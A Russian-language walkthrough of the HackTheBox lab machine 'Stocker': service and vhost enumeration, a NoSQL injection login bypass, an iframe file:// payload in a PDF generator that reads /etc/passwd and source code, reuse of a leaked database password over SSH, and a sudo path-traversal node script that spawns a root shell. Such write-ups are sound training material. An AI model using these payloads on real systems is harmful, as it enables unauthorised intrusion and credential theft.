Обзор сервисов
Проверим, какие сервисы имеются на машине с IP-адресом 10.10.11.196
:
$ nmap -sV -sC -Pn -oN 10.10.11.196 10.10.11.196
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-17 13:05 EDT
Nmap scan report for 10.10.11.196
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d:12:97:1d:86:bc:16:16:83:60:8f:4f:06:e6:d5:4e (RSA)
| 256 7c:4d:1a:78:68:ce:12:00:df:49:10:37:f9:ad:17:4f (ECDSA)
|_ 256 dd:97:80:50:a5:ba:cd:7d:55:e8:27:ed:28:fd:aa:3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.24 seconds
Добавим домен stocker.htb в /etc/hosts:
$ sudo nano /etc/hosts
10.10.11.196 stocker.htb
Вебка
Беглый анализ показал, что на вебке нет ничего интересного. Попробуем поискать интересные файлы на сервере:
$ gobuster dir -u <http://stocker.htb> -w /usr/share/wordlists/dirb/common.txt -x txt,pdf,php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://stocker.htb>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: txt,pdf,php
[+] Timeout: 10s
===============================================================
2023/06/17 13:23:34 Starting gobuster in directory enumeration mode
===============================================================
/css (Status: 301) [Size: 178] [--> <http://stocker.htb/css/>]
/favicon.ico (Status: 200) [Size: 1150]
/fonts (Status: 301) [Size: 178] [--> <http://stocker.htb/fonts/>]
Не нашлось ничего интересного. Попробуем поискать виртуальные хосты:
$ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u <http://stocker.htb> --append-domain
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://stocker.htb>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/06/17 13:31:46 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]
Progress: 4926 / 4990 (98.72%)
===============================================================
2023/06/17 13:32:13 Finished
===============================================================
Нашелся виртуальный хост dev.stocker.htb. Аналогичным способом добавим его в /etc/hosts
.
NoSQL инъекция
Попробуем отправить с помощью Burp Suite admin:admin
и получаем ошибку:
Воспользуемся читшитом hacktricks по NoSQL инъекциям. Поменяем Content-Type
на application/json
и заменим в теле запроса полезную нагрузку:
{"username": {"$ne": null}, "password": {"$ne": null} }
Получаем редирект на http://dev.stocker.htb/stock:
Local File Inclusion
В корзину можно добавлять товары, после чего отправлять его на обработку, в результате чего генерируется PDF-файл.
При отправке запроса на создание заказа видим его номер, а также параметры. Также стоит обратить внимание, что название товара Axe
отразилось в PDF-файле выше, а это может значить подгрузку строки из базы.
Кроме того, мы видим, что используется фреймворк Express, то есть сервер работает под управлением NodeJS.
Попытаемся подсунуть <iframe src=file:///etc/passwd height=1000 width=1000></iframe>
вместо названия товара:
Полезная нагрузка
Перейдем на http://dev.stocker.htb/api/po/648df5b728ebc492c832c7c7 (ID нашего заказа с полезной нагрузкой) и обнаружим, что мы сумели прочитать файл /etc/passwd
и обнаружить пользователя angoose
:
Попытаемся прочитать исходный код index.js
(помним, что ранее видели заголовки Express от NodeJS) с помощью полезной нагрузки <iframe src=file:///var/www/dev/index.js height=1000 width=1000></iframe>
:
Перейдем на http://dev.stocker.htb/api/po/648df77e28ebc492c832c7d5 и обнаружим код файла, в котором спрятана строка для подключения к MongoDB, содержащая пароль в открытом виде:
Переиспользование пароля
Подключимся по SSH в качестве пользователя angoose:IHeardPassphrasesArePrettySecure
:
$ ssh [email protected]
IHeardPassphrasesArePrettySecure
Пользовательский флаг
angoose@stocker:~$ cat user.txt
17af6d64b7b03958559130718ea8c553
Повышение привилегий
Проверим, что мы можем исполнять как суперпользователь:
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
Мы можем запускать скрипты с помощью node от суперпользователя. Напишем такой скрипт (пример https://www.freecodecamp.org/news/node-js-child-processes-everything-you-need-to-know-e69498fe970a/):
$ nano /tmp/test.js
const { spawn } = require('child_process');
const child = spawn('/usr/bin/bash', {stdio: [0,1,2]});
$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/test.js
Флаг суперпользователя
root@stocker:/tmp$ cd /root
root@stocker:~$ ls
root.txt
root@stocker:~$ cat root.txt
10a1b49e383dea2f9c0405788cbd9702